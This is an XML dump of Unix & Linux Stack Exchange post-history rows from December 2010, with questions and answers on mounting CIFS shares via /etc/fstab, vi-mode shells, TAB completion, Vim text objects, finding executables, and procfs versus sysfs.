  <row Id="10705" PostHistoryTypeId="2" PostId="4871" RevisionGUID="97495ae1-5f29-4ffe-82d2-2131f6332664" CreationDate="2010-12-15T17:22:22.053" UserId="1974" Text="I want to be able to mount our file server's file share (on a Mac OS X server, shared via AFP and Windows File Sharing) on my Ubuntu 10.10 linux laptop. I want to be able to mount it as my normal user, and be prompted for the password each time. What do I add to `/etc/fstab` to make this happen? I know I did it before, but I forgot how now." />
  <row Id="10706" PostHistoryTypeId="1" PostId="4871" RevisionGUID="97495ae1-5f29-4ffe-82d2-2131f6332664" CreationDate="2010-12-15T17:22:22.053" UserId="1974" Text="How do I add an entry in /etc/fstab for a windows share?" />
  <row Id="10707" PostHistoryTypeId="3" PostId="4871" RevisionGUID="97495ae1-5f29-4ffe-82d2-2131f6332664" CreationDate="2010-12-15T17:22:22.053" UserId="1974" Text="énetworkingàémountàéfstabà" />
  <row Id="10708" PostHistoryTypeId="2" PostId="4872" RevisionGUID="58cec04b-706d-43e2-b9c2-16fbf6063da4" CreationDate="2010-12-15T17:25:00.867" UserId="2180" Text="In bash: `set -o vi` You can run it at the command line for just this session or add it to your .bashrc file.&#xD;&#xA;&#xD;&#xA;In zsh, if you change your `EDITOR` environment variable, the shell will match it." />
  <row Id="10709" PostHistoryTypeId="5" PostId="4872" RevisionGUID="9f27b771-c5ec-4a36-a9c5-e95056744bfe" CreationDate="2010-12-15T17:31:20.940" UserId="2180" Comment="Add information about readline" Text="In bash: `set -o vi` You can run it at the command line for just this session or add it to your .bashrc file.&#xD;&#xA;&#xD;&#xA;Many programs use `readline` for input, and you can make any of them use vi-style keybindings by setting up your `.inputrc` with&#xD;&#xA;&#xD;&#xA;    set editing-mode vi&#xD;&#xA;    set keymap vi&#xD;&#xA;&#xD;&#xA;In zsh, if you change your `EDITOR` environment variable, the shell will match it." />
  <row Id="10710" PostHistoryTypeId="5" PostId="4871" RevisionGUID="7400e931-0645-48a0-88a6-6f524fe19d30" CreationDate="2010-12-15T17:35:02.110" UserId="1974" Comment="added 286 characters in body" Text="I want to be able to mount our file server's file share (on a Mac OS X server, shared via AFP and Windows File Sharing) on my Ubuntu 10.10 linux laptop. I want to be able to mount it as my normal user, and be prompted for the password each time. What do I add to `/etc/fstab` to make this happen? I know I did it before, but I forgot how now.&#xD;&#xA;&#xD;&#xA;**EDIT:** The share in question is called &quot;G4 320&quot;, and I am trying the following line in fstab:&#xD;&#xA;&#xD;&#xA;    //server_ip/G4\040320    /media/G4/    cifs    user,username=something    0    0&#xD;&#xA;&#xD;&#xA;But I'm getting the following via `dmesg`:&#xD;&#xA;&#xD;&#xA;&gt; CIFS VFS: cifs_mount failed w/return code = -6" />
  <row Id="10711" PostHistoryTypeId="2" PostId="4873" RevisionGUID="c9c880dd-53a5-4354-84c7-9e5768feb08e" CreationDate="2010-12-15T17:37:22.330" UserId="73" Text="The filesystem is the Windows shared path, and the type is CIFS:&#xD;&#xA;&#xD;&#xA;    //file-server/ShareName /mnt/file-server-share cifs options 0 0&#xD;&#xA;&#xD;&#xA;`options` can be all the usual mount options. You probably need to provide some sort of credentials; you can provide `user` and `password` options, or use `credentials=/path/to/credentials/file` and store `username=...` and `password=...` lines in that file (keep in mind that `/etc/fstab` is world-readable)&#xD;&#xA;" />
  <row Id="10712" PostHistoryTypeId="5" PostId="4872" RevisionGUID="8e7a7d63-c7f1-4e67-99f7-eef9410c3419" CreationDate="2010-12-15T17:42:41.230" UserId="2180" Comment="Add information about modes." Text="It has insert and normal mode (the insert mode is default, and escape for normal mode) but no visual mode.&#xD;&#xA;&#xD;&#xA;In bash: `set -o vi` You can run it at the command line for just this session or add it to your .bashrc file.&#xD;&#xA;&#xD;&#xA;Many programs use `readline` for input, and you can make any of them use vi-style keybindings by setting up your `.inputrc` with&#xD;&#xA;&#xD;&#xA;    set editing-mode vi&#xD;&#xA;    set keymap vi&#xD;&#xA;&#xD;&#xA;In zsh, if you change your `EDITOR` environment variable, the shell will match it." />
  <row Id="10713" PostHistoryTypeId="2" PostId="4874" RevisionGUID="97f0f1f6-8525-45c8-aff2-ed5621a25c4e" CreationDate="2010-12-15T17:45:04.193" UserId="1616" Text="I don't know how to get the TAB key to autocomplete filenames, commands, or anything at all. &#xD;&#xA;&#xD;&#xA;I'm on a Unix-like system (OS/390) and depend on several scripts that work in sh (Bourne shell, not BASH), but not in other shells (tcsh, for example), so I can't switch shells. I usually connect to this system via ssh or telnet from Ubuntu's GNOME Terminal running bash locally. Other people connect to the OS/390 system via telnet from the Windows XP command prompt, and they are able to autocomplete with the TAB key after issuing &quot;set -o emacs&quot;. When I issue &quot;set -o emacs&quot;, I get some of the appropriate functionality (ctrl-p to step backward through the history, for example), but not autocomplete. &#xD;&#xA;&#xD;&#xA;I am aware of the &quot;set -o vi&quot; option, but using &quot;ESC-*&quot;, etc does not appeal to me because I know that the simple TAB key works for other people.&#xD;&#xA;&#xD;&#xA;Is there something about Ubuntu, the GNOME Terminal, bash, or ssh that sends a different tab character than a Windows XP command prompt running telnet?&#xD;&#xA;&#xD;&#xA;Does anyone have an idea as to why I might not be able to get tab to autocomplete while people on that same remote machine, running the same shell, can? Or know how I might fix this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="10714" PostHistoryTypeId="1" PostId="4874" RevisionGUID="97f0f1f6-8525-45c8-aff2-ed5621a25c4e" CreationDate="2010-12-15T17:45:04.193" UserId="1616" Text="TAB autocomplete in Bourne Shell" />
  <row Id="10715" PostHistoryTypeId="3" PostId="4874" RevisionGUID="97f0f1f6-8525-45c8-aff2-ed5621a25c4e" CreationDate="2010-12-15T17:45:04.193" UserId="1616" Text="ésshàéautocompleteàéshellà" />
  <row Id="10716" PostHistoryTypeId="5" PostId="4871" RevisionGUID="9edcac40-e093-4305-af5b-0206eac93b1c" CreationDate="2010-12-15T17:49:30.057" UserId="1974" Comment="added 765 characters in body; added 36 characters in body" Text="I want to be able to mount our file server's file share (on a Mac OS X server, shared via AFP and Windows File Sharing) on my Ubuntu 10.10 linux laptop. I want to be able to mount it as my normal user, and be prompted for the password each time. What do I add to `/etc/fstab` to make this happen? I know I did it before, but I forgot how now.&#xD;&#xA;&#xD;&#xA;**EDIT:** The share in question is called &quot;G4 320&quot;, and I am trying the following line in fstab:&#xD;&#xA;&#xD;&#xA;    //server_ip/G4\040320    /media/G4/    cifs    user,username=something    0    0&#xD;&#xA;&#xD;&#xA;But I'm getting the following via `dmesg`:&#xD;&#xA;&#xD;&#xA;&gt; CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;&#xD;&#xA;**EDIT2:**&#xD;&#xA;&#xD;&#xA;As requested, more debug info. Output of `dmesg` with my fstab line:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [151994.740138] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;    [152007.760136] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;    [152132.770147] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;    [152221.700152] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;    [152245.340132] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;&#xD;&#xA;Output of `dmesg` with the `credentials` line from Michael:&#xD;&#xA;&#xD;&#xA;    [153117.088656] CIFS VFS: No username specified&#xD;&#xA;    [153117.088668] CIFS VFS: cifs_mount failed w/return code = -22&#xD;&#xA;    [153164.358300] CIFS VFS: No username specified&#xD;&#xA;    [153164.358312] CIFS VFS: cifs_mount failed w/return code = -22&#xD;&#xA;&#xD;&#xA;`/var/log/messages` seems to have no useful information.&#xD;&#xA;" />
  <row Id="10717" PostHistoryTypeId="6" PostId="4870" RevisionGUID="7342ac09-71e1-4f9a-be8c-09cd53d53114" CreationDate="2010-12-15T18:05:02.703" UserId="2689" Comment="edited tags" Text="ébashàéshellàéterminalàévimàézshà" />
  <row Id="10718" PostHistoryTypeId="5" PostId="4871" RevisionGUID="f74e2f39-7ee9-44e2-8b0d-361048c55c0f" CreationDate="2010-12-15T18:10:30.750" UserId="1974" Comment="added 366 characters in body" Text="I want to be able to mount our file server's file share (on a Mac OS X server, shared via AFP and Windows File Sharing) on my Ubuntu 10.10 linux laptop. I want to be able to mount it as my normal user, and be prompted for the password each time. What do I add to `/etc/fstab` to make this happen? I know I did it before, but I forgot how now.&#xD;&#xA;&#xD;&#xA;**EDIT:** The share in question is called &quot;G4 320&quot;, and I am trying the following line in fstab:&#xD;&#xA;&#xD;&#xA;    //server_ip/G4\040320    /media/G4/    cifs    user,username=something    0    0&#xD;&#xA;&#xD;&#xA;But I'm getting the following via `dmesg`:&#xD;&#xA;&#xD;&#xA;&gt; CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;&#xD;&#xA;**EDIT2:**&#xD;&#xA;&#xD;&#xA;As requested, more debug info. Output of `dmesg` with my fstab line:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [151994.740138] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;    [152007.760136] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;    [152132.770147] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;    [152221.700152] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;    [152245.340132] CIFS VFS: cifs_mount failed w/return code = -6&#xD;&#xA;&#xD;&#xA;Output of `dmesg` with the `credentials` line from Michael:&#xD;&#xA;&#xD;&#xA;    [153117.088656] CIFS VFS: No username specified&#xD;&#xA;    [153117.088668] CIFS VFS: cifs_mount failed w/return code = -22&#xD;&#xA;    [153164.358300] CIFS VFS: No username specified&#xD;&#xA;    [153164.358312] CIFS VFS: cifs_mount failed w/return code = -22&#xD;&#xA;&#xD;&#xA;`/var/log/messages` seems to have no useful information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT3**: OK. Thanks again to Michael I almost have it! If I put the following in `/etc/fstab` then it works:&#xD;&#xA;&#xD;&#xA;    //10.1.0.15/G4\040320H  /media/G4       cifs    user=AzureDiamond,password=hunter2       0       0&#xD;&#xA;&#xD;&#xA;However:&#xD;&#xA;&#xD;&#xA; 1. I do not want my password in there...&#xD;&#xA; 2. I now need to use `sudo` to mount the share.&#xD;&#xA;&#xD;&#xA;How can I resolve those two issues?" />
  <row Id="10719" PostHistoryTypeId="5" PostId="4857" RevisionGUID="7e932a98-5b7e-4a39-88bb-a8cdf7997498" CreationDate="2010-12-15T18:19:18.763" UserId="885" Comment="added D glob flag to zsh solution" Text="Portably:&#xD;&#xA;&#xD;&#xA;    find . -type d -exec sh -c 'printf &quot;%s\n&quot; &quot;$0&quot;' {} \; -or -print&#xD;&#xA;&#xD;&#xA;If you're willing to list directories and files separately (you can merge the output by sorting):&#xD;&#xA;&#xD;&#xA;    { find . -type d -print | sed 's!$!/!'; find . \! -type d; } | sort&#xD;&#xA;&#xD;&#xA;With GNU find, see [Shawn J. Goff's answer](http://unix.stackexchange.com/questions/4847/make-find-show-slash-after-directories/4849#4849).&#xD;&#xA;&#xD;&#xA;If you're willing to risk non-printable characters being mangled even when not outputting to a terminal, see [ddeimeke's answer](http://unix.stackexchange.com/questions/4847/make-find-show-slash-after-directories/4856#4856).&#xD;&#xA;&#xD;&#xA;In zsh: `print -rl -- **/*(DM)` (`D` to include dot files, `M` to add a `/` after directories)&#xD;&#xA;" />
  <row Id="10720" PostHistoryTypeId="2" PostId="4875" RevisionGUID="85d3d881-09bc-4ace-9b96-7d42c71b15a9" CreationDate="2010-12-15T18:33:16.567" UserId="4" Text="* zsync is [being actively developed][1] &#xD;&#xA;* jigdo is '[now in &quot;maintenance mode&quot;, development has stopped][2].'&#xD;&#xA;&#xD;&#xA;For a new project, using actively developed software will have many advantages over frozen software. What will your project need in a year, and will Jigdo provide that new functionality?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.moria.org.uk/computers/zsync.html&#xD;&#xA;  [2]: http://atterer.org/jigdo" />
  <row Id="10721" PostHistoryTypeId="2" PostId="4876" RevisionGUID="1f10939a-dffc-472e-8560-da80c6bd18e0" CreationDate="2010-12-15T18:57:24.143" UserId="885" Text="(No answer to your exact question, but many workarounds.)&#xD;&#xA;&#xD;&#xA;You don't need to match your scripting shell with your interactive shell. (For example, most (t)csh or zsh users write sh scripts). If you have or can install a better interactive shell than the Bourne shell (zsh, bash, tcsh), go for it. Even if you can't, look if there's a ksh, which is likely to have slightly better interactive features than a Bourne shell.&#xD;&#xA;&#xD;&#xA;You can check what character the tab key sends by entering `echo '` &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt; `' | od -t x1` &lt;kbd&gt;Enter&lt;/kbd&gt;. `0000000 09 0a` (i.e. at position 0, two characters, a tab and a newline) is the expected output. I don't expect this to be the issue.&#xD;&#xA;&#xD;&#xA;If you can't get a comfortable environment, you could try doing more things remotely, using your local machine for interaction as much as possible. This has its ups and downs.&#xD;&#xA;&#xD;&#xA;* From Linux (or most other unices including OSX, but not from Windows), you can use [sshfs](http://fuse.sourceforge.net/sshfs.html) to access the remote filesystem.&#xD;&#xA;* Within Emacs, you can easily browse remote files via [Tramp](http://www.gnu.org/software/tramp/) (open `/os390hostname:/path/on/remote/machine`, you get completion). You can also use [Eshell](http://www.gnu.org/software/emacs/manual/html_mono/eshell.html) to get a remote shell interface (an Emacs built-in shell); if you change to a remote directory (`cd /os390hostname:/path/on/remote/machine`), the external commands you launch will be executed on the remote machine. If you need to run commands as root, Tramp (and Eshell which is based on it) can [combine ssh with su or sudo](http://www.gnu.org/software/tramp/#Multi_002dhops).&#xD;&#xA;" />
  <row Id="10722" PostHistoryTypeId="2" PostId="4877" RevisionGUID="f50f8da2-b347-466c-aaad-11f654fdb257" CreationDate="2010-12-15T19:01:16.590" UserId="146" Text="The function is in libX11 - changing X servers won't make a difference.   Without seeing the program's source, we can't guess if changing locale settings would stop it from calling the function, but changing locale won't stop the linker from trying to find it in a library.&#xD;&#xA;&#xD;&#xA;The only way to get a libX11 for Solaris 10 or older with that function in is to build libX11 yourself.   It won't be fully compatible with existing X binaries though.   Sun/Oracle have never backported the new libX11 from OpenSolaris/Solaris 11 to the older releases." />
  <row Id="10723" PostHistoryTypeId="2" PostId="4878" RevisionGUID="92106b08-c9b1-4ad6-a0f2-8a39303dc996" CreationDate="2010-12-15T19:44:21.703" UserId="3139" Text="This is a PITA to handle manually.  I just recently found Multiboot USB for Ubuntu and it works like a champ.  You can feed ISOs into it and it takes care of creating the syslinux menu and all.&#xD;&#xA;&#xD;&#xA;It is a French program, but there are [English instructions here.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/multiboot-create-a-multiboot-usb-from-linux/" />
  <row Id="10724" PostHistoryTypeId="2" PostId="4879" RevisionGUID="5b0f39ed-c2dd-477e-a1c0-37886fe4264d" CreationDate="2010-12-15T20:08:21.473" UserId="1974" Text="The line in `/etc/fstab` I eventually used was:&#xD;&#xA;&#xD;&#xA;    //10.1.0.15/G4\040320H   /media/G4   cifs   username=master,user   0   0&#xD;&#xA;&#xD;&#xA;What solved the issue of not being prompted for the password as well as `credentials=` not working was installing `mount.cifs` via:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install cifs-utils&#xD;&#xA;&#xD;&#xA;Just like Michael Mrozek I assumed I had `mount.cifs` installed or else I wouldn't be able to mount CIFS shares, but apparently the kernel [will use it's own internal code](http://askubuntu.com/questions/1836/problems-mounting-an-smb-share-in-my-fstab) to mount unless it finds `mount.cifs`" />
  <row Id="10725" PostHistoryTypeId="6" PostId="4874" RevisionGUID="773bd5d5-971c-4253-beae-9361f11a34f9" CreationDate="2010-12-15T20:11:12.893" UserId="885" Comment="edited tags" Text="ésshàéautocompleteàéshellàéos390à" />
  <row Id="10727" PostHistoryTypeId="2" PostId="4881" RevisionGUID="a20c1044-6cdc-4a6d-8757-37d7fab9d7e9" CreationDate="2010-12-15T22:21:21.443" UserId="2978" Text="There's a VT100 control sequence for that, which should be supported by Konsole. It's called DECAWM, and here's how to emit it:&#xD;&#xA;&#xD;&#xA;    echo -ne '\e[?7l'&#xD;&#xA;&#xD;&#xA;My question would be though: why?" />
  <row Id="10729" PostHistoryTypeId="2" PostId="4882" RevisionGUID="39199019-b286-4dec-b1a4-6477ecfb2fb0" CreationDate="2010-12-16T01:04:50.700" UserId="2979" Text="If I want to, say delete a block, I can use text object motions.&#xD;&#xA;&#xD;&#xA;I.e if my text looks like this:&#xD;&#xA;&#xD;&#xA;    (let [a 1 b {:x 3  :y 4}]&#xD;&#xA;          a)&#xD;&#xA;&#xD;&#xA;And the cursor is for example on character `3`.&#xD;&#xA;&#xD;&#xA;If I type `diB` then `:x 3  :y 4` would be deleted&#xD;&#xA;If it is `daB` then both the block and surrounding brackets are deleted :`{:x 3  :y 4}` &#xD;&#xA;&#xD;&#xA;So, the pattern is:&#xD;&#xA;&#xD;&#xA;    operation inclusion block-motion&#xD;&#xA;&#xD;&#xA;Where operation may be:&#xD;&#xA;&#xD;&#xA;- `d` - delete&#xD;&#xA;&#xD;&#xA;- `c` - change&#xD;&#xA;&#xD;&#xA;- `y` - copy ...&#xD;&#xA;&#xD;&#xA;inclusion is either:&#xD;&#xA;&#xD;&#xA;- `i` - inner (no brackets) or&#xD;&#xA;&#xD;&#xA;- `a` - all &#xD;&#xA;&#xD;&#xA;and block-motion:&#xD;&#xA;&#xD;&#xA;- `b`,`(` or `)` for `()` parens&#xD;&#xA;&#xD;&#xA;- `B`, `{` or `}` for `{}` curlies&#xD;&#xA;&#xD;&#xA;- `[` or `]` and `&lt;` or `&gt;` for their own respective brackets, etc..&#xD;&#xA;&#xD;&#xA;Now, the question is: **Is there a block motion for the inner-most block with brackets of any of these types?**&#xD;&#xA;&#xD;&#xA;I'd like to be able to do `da?` with `?` being the motion I'm looking for. And if the cursor in my example above is within `{}` say on `3` I'd delete just the `{}` but if my cursor was on `b` I'd delete the `[]` block, etc.&#xD;&#xA;" />
  <row Id="10730" PostHistoryTypeId="1" PostId="4882" RevisionGUID="39199019-b286-4dec-b1a4-6477ecfb2fb0" CreationDate="2010-12-16T01:04:50.700" UserId="2979" Text="Block motion for any bracket type?" />
  <row Id="10731" PostHistoryTypeId="3" PostId="4882" RevisionGUID="39199019-b286-4dec-b1a4-6477ecfb2fb0" CreationDate="2010-12-16T01:04:50.700" UserId="2979" Text="évimà" />
  <row Id="10732" PostHistoryTypeId="5" PostId="3536" RevisionGUID="9f169113-eb7c-4420-b95e-5ef2c7f360e8" CreationDate="2010-12-16T02:03:35.153" UserId="4" Comment="added 24 characters in body" Text="See below for the script used in these tests.&#xD;&#xA;&#xD;&#xA;Grep can only operate on stdin, so therefore you must convert the stderr stream in a form that Grep can parse.&#xD;&#xA;&#xD;&#xA;Normally, output is printed to both stdout and stderr:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh&#xD;&#xA;    ./stdout-stderr.sh: Printing to stdout&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;So we hide output to stdout:&#xD;&#xA;&#xD;&#xA;    $ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;The following Bash syntax will hide output to stdout, but will still show stderr. First we pipe stdout to /dev/null, then we convert stderr to stdout, because Unix pipes will only operate on stdout. You can still grep the text. The `--color` flag helps you to see that grep will find a match with 'err'.&#xD;&#xA;&#xD;&#xA;	$ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1  | grep --color err&#xD;&#xA;	./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;Here's the script I use for testing. This prints one line to stdout and one line to stderr:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Print a message to stdout&#xD;&#xA;    echo &quot;$0: Printing to stdout&quot;&#xD;&#xA;    # Print a message to stderr&#xD;&#xA;    echo &quot;$0: Printing to stderr&quot; &gt;&amp;2&#xD;&#xA;    &#xD;&#xA;    exit 0" />
  <row Id="10733" PostHistoryTypeId="2" PostId="4883" RevisionGUID="7c926b4b-f4fc-4b79-b5e7-bf4469452204" CreationDate="2010-12-16T02:06:30.673" UserId="2180" Text="Not by default, but there may be some mechanism to add that functionality.&#xD;&#xA;In visual.txt, the section about operating on the visual area, it has this:&#xD;&#xA;&#xD;&#xA;    The objects that can be used are:&#xD;&#xA;        aw      a word (with white space)                       |v_aw|&#xD;&#xA;        iw      inner word                                      |v_iw|&#xD;&#xA;        aW      a WORD (with white space)                       |v_aW|&#xD;&#xA;        iW      inner WORD                                      |v_iW|&#xD;&#xA;        as      a sentence (with white space)                   |v_as|&#xD;&#xA;        is      inner sentence                                  |v_is|&#xD;&#xA;        ap      a paragraph (with white space)                  |v_ap|&#xD;&#xA;        ip      inner paragraph                                 |v_ip|&#xD;&#xA;        ab      a () block (with parenthesis)                   |v_ab|&#xD;&#xA;        ib      inner () block                                  |v_ib|&#xD;&#xA;        aB      a {} block (with braces)                        |v_aB|&#xD;&#xA;        iB      inner {} block                                  |v_iB|&#xD;&#xA;        at      a &lt;tag&gt; &lt;/tag&gt; block (with tags)                |v_at|&#xD;&#xA;        it      inner &lt;tag&gt; &lt;/tag&gt; block                        |v_it|&#xD;&#xA;        a&lt;      a &lt;&gt; block (with &lt;&gt;)                            |v_a&lt;|&#xD;&#xA;        i&lt;      inner &lt;&gt; block                                  |v_i&lt;|&#xD;&#xA;        a[      a [] block (with [])                            |v_a[|&#xD;&#xA;        i[      inner [] block                                  |v_i[|&#xD;&#xA;        a&quot;      a double quoted string (with quotes)            |v_aquote|&#xD;&#xA;        a'      a single quoted string (with quotes)            |v_a'|&#xD;&#xA;        i'      inner simple quoted string                      |v_i'|&#xD;&#xA;        a`      a string in backticks (with backticks)          |v_a`|&#xD;&#xA;        i`      inner string in backticks                       |v_i`|" />
  <row Id="10734" PostHistoryTypeId="2" PostId="4884" RevisionGUID="68f72c05-761b-4262-95ef-18965318e3ad" CreationDate="2010-12-16T05:26:03.607" UserId="2871" Text="Hi all,  &#xD;&#xA;&#xD;&#xA;I would like to know what is the difference between procfs and sysfs?  &#xD;&#xA;I would also like to know why are they made as file systems, after all what i understood is like proc is just something to store the immediate info regarding the processes running  in the system.  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="10735" PostHistoryTypeId="1" PostId="4884" RevisionGUID="68f72c05-761b-4262-95ef-18965318e3ad" CreationDate="2010-12-16T05:26:03.607" UserId="2871" Text="What is the diffrerence between procfs and sysfs?" />
  <row Id="10736" PostHistoryTypeId="3" PostId="4884" RevisionGUID="68f72c05-761b-4262-95ef-18965318e3ad" CreationDate="2010-12-16T05:26:03.607" UserId="2871" Text="élinuxàéfilesystemsà" />
  <row Id="10737" PostHistoryTypeId="2" PostId="4885" RevisionGUID="4ef6b96e-97f4-4f54-a131-3c148eb0120d" CreationDate="2010-12-16T06:29:23.940" UserId="3149" Text="What type of parameter/flag can I use with the unix &lt;i&gt;find&lt;/i&gt; command so that I search executables?&#xD;&#xA;&#xD;&#xA;(if this question is better suited for another stackexchange forum, I welcome you telling me so)&#xD;&#xA;&#xD;&#xA;p.s. If you know of one, I've been looking for a detailed (non-beginner) tutorial/screencast about grep and/or find." />
  <row Id="10738" PostHistoryTypeId="1" PostId="4885" RevisionGUID="4ef6b96e-97f4-4f54-a131-3c148eb0120d" CreationDate="2010-12-16T06:29:23.940" UserId="3149" Text="Find command: Searching for executable files." />
  <row Id="10739" PostHistoryTypeId="3" PostId="4885" RevisionGUID="4ef6b96e-97f4-4f54-a131-3c148eb0120d" CreationDate="2010-12-16T06:29:23.940" UserId="3149" Text="ébashàéterminalàéunixàéfindà" />
  <row Id="10740" PostHistoryTypeId="5" PostId="4884" RevisionGUID="8fb9cc6c-9798-4072-a539-7f6109dde14e" CreationDate="2010-12-16T06:34:46.180" UserId="73" Comment="deleted 95 characters in body; edited title" Text="What is the difference between procfs and sysfs?  Why are they made as file systems? As I understand it, proc is just something to store the immediate info regarding the processes running in the system.  &#xD;&#xA;" />
  <row Id="10741" PostHistoryTypeId="4" PostId="4884" RevisionGUID="8fb9cc6c-9798-4072-a539-7f6109dde14e" CreationDate="2010-12-16T06:34:46.180" UserId="73" Comment="deleted 95 characters in body; edited title" Text="What is the difference between procfs and sysfs?" />
  <row Id="10742" PostHistoryTypeId="12" PostId="4885" RevisionGUID="a1ab3109-fa68-4bdf-9265-298051cfeeb4" CreationDate="2010-12-16T06:39:09.277" UserId="3149" Text="[{&quot;Id&quot;:3149,&quot;DisplayName&quot;:&quot;Charlotte&quot;}]" />
  <row Id="10743" PostHistoryTypeId="13" PostId="4885" RevisionGUID="3260f314-0ee4-4460-a85d-f62891761cb0" CreationDate="2010-12-16T06:39:13.083" UserId="3149" Text="[{&quot;Id&quot;:3149,&quot;DisplayName&quot;:&quot;Charlotte&quot;}]" />
  <row Id="10744" PostHistoryTypeId="2" PostId="4886" RevisionGUID="cdf4928e-04cb-4067-9d77-c7e4cf187ec0" CreationDate="2010-12-16T06:39:52.693" UserId="2283" Text="This can all be done in awk as well:&#xD;&#xA;&#xD;&#xA;    awk '&quot;[0-9]+ errors&quot; {sum += $1}; END {print sum}' verification_report_3.txt" />
  <row Id="10745" PostHistoryTypeId="2" PostId="4887" RevisionGUID="325b88ab-d927-48aa-8273-66876d2e8527" CreationDate="2010-12-16T07:32:06.853" UserId="2567" Text="proc is the old one, it is more or less without rules and structure. And at some point it was decided that proc was a little to chaotic and a new way was needed. &#xD;&#xA;&#xD;&#xA;Then sysfs was created, and they new stuff that was added was put into sysfs like device information.&#xD;&#xA;&#xD;&#xA;So in some sense they do the same, but sysfs is a little bit more structured." />
  <row Id="10746" PostHistoryTypeId="5" PostId="4887" RevisionGUID="ac312f3d-46e3-4b00-846f-0a684e5d0606" CreationDate="2010-12-16T07:37:10.797" UserId="2567" Comment="better answer" Text="&gt; What is the difference between procfs&#xD;&#xA;&gt; and sysfs?&#xD;&#xA;&#xD;&#xA;proc is the old one, it is more or less without rules and structure. And at some point it was decided that proc was a little to chaotic and a new way was needed. &#xD;&#xA;&#xD;&#xA;Then sysfs was created, and they new stuff that was added was put into sysfs like device information.&#xD;&#xA;&#xD;&#xA;So in some sense they do the same, but sysfs is a little bit more structured.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Why are they made as file systems?&#xD;&#xA;&#xD;&#xA;Unix philosophy tells us that everything is a file, therefore it was created so it behaves as files.&#xD;&#xA;&#xD;&#xA;&gt; As I understand it, proc is just&#xD;&#xA;&gt; something to store the immediate info&#xD;&#xA;&gt; regarding the processes running in the&#xD;&#xA;&gt; system.&#xD;&#xA;&#xD;&#xA;Those parts has always been there and they will probably never move into sysfs.&#xD;&#xA;&#xD;&#xA;But there is more old stuff that you can find in proc, that has not been moved.&#xD;&#xA;" />
  <row Id="10747" PostHistoryTypeId="2" PostId="4888" RevisionGUID="36202605-fb90-43f5-92f3-bbe53d8824fc" CreationDate="2010-12-16T07:42:48.543" UserId="73" Text="Rather unsurprisingly, `-executable`. From the man page:&#xD;&#xA;&#xD;&#xA;&gt; Matches files which are executable and directories which are searchable (in a file name resolution sense). This takes into account access control lists and other permissions  artefacts which the -perm test ignores&#xD;&#xA;" />
  <row Id="10748" PostHistoryTypeId="2" PostId="4889" RevisionGUID="eaf5fb82-7199-4130-8c7a-5a4c2713bb8b" CreationDate="2010-12-16T08:21:43.443" UserId="885" Text="Portably, the following command looks for regular files that are executable by their owner:&#xD;&#xA;&#xD;&#xA;    find . -perm -700 -type f&#xD;&#xA;&#xD;&#xA;With GNU find ≥4.3, you can use `-executable` instead of `-perm -700` to look for files that are executable by you.&#xD;&#xA;" />
  <row Id="10749" PostHistoryTypeId="2" PostId="4890" RevisionGUID="cd3fffe5-ad1e-435b-bc0f-7cf358176768" CreationDate="2010-12-16T08:25:23.173" UserId="3137" Text="You appear to be using *GNU* system, so if *Perl* regular expressions support is available,&#xD;&#xA;you could write something like this:&#xD;&#xA;&#xD;&#xA;    grep -Po '[0-9]+(?=\s+errors)' infile | &#xD;&#xA;      paste -sd+ | &#xD;&#xA;        bc&#xD;&#xA;&#xD;&#xA;P.S. I modified the regular expression (added the + quantifier) to allow numbers &gt; 9.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. Alternatively, awk is sufficient (assuming *GNU awk*):&#xD;&#xA;&#xD;&#xA;    awk 'END { print s }&#xD;&#xA;    /[0-9]+[[:space:]]+errors/ { &#xD;&#xA;      s += $1 &#xD;&#xA;      }' infile&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10750" PostHistoryTypeId="2" PostId="4891" RevisionGUID="264eea79-9263-4053-918a-8ce3e0be1dff" CreationDate="2010-12-16T09:29:09.563" UserId="3152" Text="I'm planning on writing an app that I would like to be able to run on any Linux installation without having to rewrite any of the code in doing so (except maybe the interface, GNOME vs KDE, etc).&#xD;&#xA;&#xD;&#xA;I'm not very experienced in the minutiae of the differences between distros, and I also can't provide details about the project as it's only just entered the planning stage other than it's going to be poking around deep inside the kernel in order to interact with as much of the computer's hardware as possible." />
  <row Id="10751" PostHistoryTypeId="1" PostId="4891" RevisionGUID="264eea79-9263-4053-918a-8ce3e0be1dff" CreationDate="2010-12-16T09:29:09.563" UserId="3152" Text="What do I need to be aware of if I want to write an application that will run on any Linux distro?" />
